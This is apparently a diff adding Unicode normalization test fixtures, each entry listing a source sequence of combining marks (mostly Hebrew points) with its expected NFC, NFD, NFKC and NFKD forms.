+{ source: [0x0061, 0x05A1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05A1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05A1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05A1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05A1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x05A2, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x05A2, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x05A2, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x05A2, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x05A2, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05A2, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x05A2, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x05A2, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x05A2, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x05A2, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x05A3, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x05A3, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x05A3, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x05A3, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x05A3, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05A3, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x05A3, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x05A3, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x05A3, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x05A3, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x05A4, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x05A4, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x05A4, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x05A4, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x05A4, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05A4, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x05A4, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x05A4, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x05A4, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x05A4, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x05A5, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x05A5, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x05A5, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x05A5, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x05A5, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05A5, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x05A5, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x05A5, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x05A5, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x05A5, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x05A6, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x05A6, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x05A6, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x05A6, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x05A6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05A6, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x05A6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x05A6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x05A6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x05A6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x05A7, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x05A7, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x05A7, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x05A7, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x05A7, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05A7, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x05A7, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x05A7, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x05A7, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x05A7, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05A8, 0x0062], NFC: [0x00E0, 0x05AE, 0x05A8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05A8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05A8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05A8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05A8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05A8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05A8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05A8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05A8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05A9, 0x0062], NFC: [0x00E0, 0x05AE, 0x05A9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05A9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05A9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05A9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05A9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05A9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05A9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05A9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05A9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x05AA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x05AA, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x05AA, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x05AA, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x05AA, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05AA, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x05AA, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x05AA, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x05AA, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x05AA, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05AB, 0x0062], NFC: [0x00E0, 0x05AE, 0x05AB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05AB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05AB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05AB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05AB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05AB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05AB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05AB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05AB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05AC, 0x0062], NFC: [0x00E0, 0x05AE, 0x05AC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05AC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05AC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05AC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05AC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05AC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05AC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05AC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05AC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x302E, 0x059A, 0x0316, 0x05AD, 0x0062], NFC: [0x0061, 0x0316, 0x059A, 0x05AD, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x059A, 0x05AD, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x059A, 0x05AD, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x059A, 0x05AD, 0x302E, 0x0062] },
+{ source: [0x0061, 0x05AD, 0x302E, 0x059A, 0x0316, 0x0062], NFC: [0x0061, 0x0316, 0x05AD, 0x059A, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x05AD, 0x059A, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x05AD, 0x059A, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x05AD, 0x059A, 0x302E, 0x0062] },
+{ source: [0x0061, 0x0300, 0x05AE, 0x1D16D, 0x05AE, 0x0062], NFC: [0x00E0, 0x1D16D, 0x05AE, 0x05AE, 0x0062], NFD: [0x0061, 0x1D16D, 0x05AE, 0x05AE, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x05AE, 0x05AE, 0x0062], NFKD: [0x0061, 0x1D16D, 0x05AE, 0x05AE, 0x0300, 0x0062] },
+{ source: [0x0061, 0x05AE, 0x0300, 0x05AE, 0x1D16D, 0x0062], NFC: [0x00E0, 0x1D16D, 0x05AE, 0x05AE, 0x0062], NFD: [0x0061, 0x1D16D, 0x05AE, 0x05AE, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x05AE, 0x05AE, 0x0062], NFKD: [0x0061, 0x1D16D, 0x05AE, 0x05AE, 0x0300, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05AF, 0x0062], NFC: [0x00E0, 0x05AE, 0x05AF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05AF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05AF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05AF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05AF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05AF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05AF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05AF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05AF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B1, 0x05B0, 0x094D, 0x05B0, 0x0062], NFC: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062], NFD: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062], NFKC: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062], NFKD: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x05B1, 0x05B0, 0x094D, 0x0062], NFC: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062], NFD: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062], NFKC: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062], NFKD: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062] },
+{ source: [0x0061, 0x05B2, 0x05B1, 0x05B0, 0x05B1, 0x0062], NFC: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062], NFD: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062], NFKC: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062], NFKD: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062] },
+{ source: [0x0061, 0x05B1, 0x05B2, 0x05B1, 0x05B0, 0x0062], NFC: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062], NFD: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062], NFKC: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062], NFKD: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062] },
+{ source: [0x0061, 0x05B3, 0x05B2, 0x05B1, 0x05B2, 0x0062], NFC: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062], NFD: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062], NFKC: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062], NFKD: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062] },
+{ source: [0x0061, 0x05B2, 0x05B3, 0x05B2, 0x05B1, 0x0062], NFC: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062], NFD: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062], NFKC: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062], NFKD: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062] },
+{ source: [0x0061, 0x05B4, 0x05B3, 0x05B2, 0x05B3, 0x0062], NFC: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062], NFD: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062], NFKC: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062], NFKD: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062] },
+{ source: [0x0061, 0x05B3, 0x05B4, 0x05B3, 0x05B2, 0x0062], NFC: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062], NFD: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062], NFKC: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062], NFKD: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062] },
+{ source: [0x0061, 0x05B5, 0x05B4, 0x05B3, 0x05B4, 0x0062], NFC: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062], NFD: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062], NFKC: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062], NFKD: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062] },
+{ source: [0x0061, 0x05B4, 0x05B5, 0x05B4, 0x05B3, 0x0062], NFC: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062], NFD: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062], NFKC: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062], NFKD: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062] },
+{ source: [0x0061, 0x05B6, 0x05B5, 0x05B4, 0x05B5, 0x0062], NFC: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062], NFD: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062], NFKC: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062], NFKD: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062] },
+{ source: [0x0061, 0x05B5, 0x05B6, 0x05B5, 0x05B4, 0x0062], NFC: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062], NFD: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062], NFKC: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062], NFKD: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062] },
+{ source: [0x0061, 0x05B7, 0x05B6, 0x05B5, 0x05B6, 0x0062], NFC: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062], NFD: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062], NFKC: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062], NFKD: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062] },
+{ source: [0x0061, 0x05B6, 0x05B7, 0x05B6, 0x05B5, 0x0062], NFC: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062], NFD: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062], NFKC: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062], NFKD: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062] },
+{ source: [0x0061, 0x05B8, 0x05B7, 0x05B6, 0x05B7, 0x0062], NFC: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062], NFD: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062], NFKC: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062], NFKD: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062] },
+{ source: [0x0061, 0x05B7, 0x05B8, 0x05B7, 0x05B6, 0x0062], NFC: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062], NFD: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062], NFKC: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062], NFKD: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062] },
+{ source: [0x0061, 0x05B9, 0x05B8, 0x05B7, 0x05B8, 0x0062], NFC: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062], NFD: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062], NFKC: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062], NFKD: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062] },
+{ source: [0x0061, 0x05B8, 0x05B9, 0x05B8, 0x05B7, 0x0062], NFC: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062], NFD: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062], NFKC: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062], NFKD: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062] },
+{ source: [0x0061, 0x05BB, 0x05B9, 0x05B8, 0x05B9, 0x0062], NFC: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062], NFD: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062], NFKC: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062], NFKD: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062] },
+{ source: [0x0061, 0x05B9, 0x05BB, 0x05B9, 0x05B8, 0x0062], NFC: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062], NFD: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062], NFKC: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062], NFKD: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062] },
+{ source: [0x0061, 0x05BB, 0x05B9, 0x05B8, 0x05BA, 0x0062], NFC: [0x0061, 0x05B8, 0x05B9, 0x05BA, 0x05BB, 0x0062], NFD: [0x0061, 0x05B8, 0x05B9, 0x05BA, 0x05BB, 0x0062], NFKC: [0x0061, 0x05B8, 0x05B9, 0x05BA, 0x05BB, 0x0062], NFKD: [0x0061, 0x05B8, 0x05B9, 0x05BA, 0x05BB, 0x0062] },
+{ source: [0x0061, 0x05BA, 0x05BB, 0x05B9, 0x05B8, 0x0062], NFC: [0x0061, 0x05B8, 0x05BA, 0x05B9, 0x05BB, 0x0062], NFD: [0x0061, 0x05B8, 0x05BA, 0x05B9, 0x05BB, 0x0062], NFKC: [0x0061, 0x05B8, 0x05BA, 0x05B9, 0x05BB, 0x0062], NFKD: [0x0061, 0x05B8, 0x05BA, 0x05B9, 0x05BB, 0x0062] },
+{ source: [0x0061, 0x05BC, 0x05BB, 0x05B9, 0x05BB, 0x0062], NFC: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062], NFD: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062], NFKC: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062], NFKD: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062] },
+{ source: [0x0061, 0x05BB, 0x05BC, 0x05BB, 0x05B9, 0x0062], NFC: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062], NFD: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062], NFKC: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062], NFKD: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062] },
+{ source: [0x0061, 0x05BD, 0x05BC, 0x05BB, 0x05BC, 0x0062], NFC: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062], NFD: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062], NFKC: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062], NFKD: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062] },
+{ source: [0x0061, 0x05BC, 0x05BD, 0x05BC, 0x05BB, 0x0062], NFC: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062], NFD: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062], NFKC: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062], NFKD: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062] },
+{ source: [0x0061, 0x05BF, 0x05BD, 0x05BC, 0x05BD, 0x0062], NFC: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062], NFD: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062], NFKC: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062], NFKD: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062] },
+{ source: [0x0061, 0x05BD, 0x05BF, 0x05BD, 0x05BC, 0x0062], NFC: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062], NFD: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062], NFKC: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062], NFKD: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062] },
+{ source: [0x0061, 0x05C1, 0x05BF, 0x05BD, 0x05BF, 0x0062], NFC: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062], NFD: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062], NFKC: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062], NFKD: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062] },
+{ source: [0x0061, 0x05BF, 0x05C1, 0x05BF, 0x05BD, 0x0062], NFC: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062], NFD: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062], NFKC: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062], NFKD: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062] },
+{ source: [0x0061, 0x05C2, 0x05C1, 0x05BF, 0x05C1, 0x0062], NFC: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062], NFD: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062], NFKC: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062], NFKD: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062] },
+{ source: [0x0061, 0x05C1, 0x05C2, 0x05C1, 0x05BF, 0x0062], NFC: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062], NFD: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062], NFKC: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062], NFKD: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062] },
+{ source: [0x0061, 0xFB1E, 0x05C2, 0x05C1, 0x05C2, 0x0062], NFC: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062], NFD: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062], NFKC: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062], NFKD: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062] },
+{ source: [0x0061, 0x05C2, 0xFB1E, 0x05C2, 0x05C1, 0x0062], NFC: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062], NFD: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062], NFKC: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062], NFKD: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05C4, 0x0062], NFC: [0x00E0, 0x05AE, 0x05C4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05C4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05C4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05C4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05C4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05C4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05C4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05C4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05C4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x05C5, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x05C5, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x05C5, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x05C5, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x05C5, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05C5, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x05C5, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x05C5, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x05C5, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x05C5, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05B9, 0x05B8, 0x05B7, 0x05C7, 0x0062], NFC: [0x0061, 0x05B7, 0x05B8, 0x05C7, 0x05B9, 0x0062], NFD: [0x0061, 0x05B7, 0x05B8, 0x05C7, 0x05B9, 0x0062], NFKC: [0x0061, 0x05B7, 0x05B8, 0x05C7, 0x05B9, 0x0062], NFKD: [0x0061, 0x05B7, 0x05B8, 0x05C7, 0x05B9, 0x0062] },
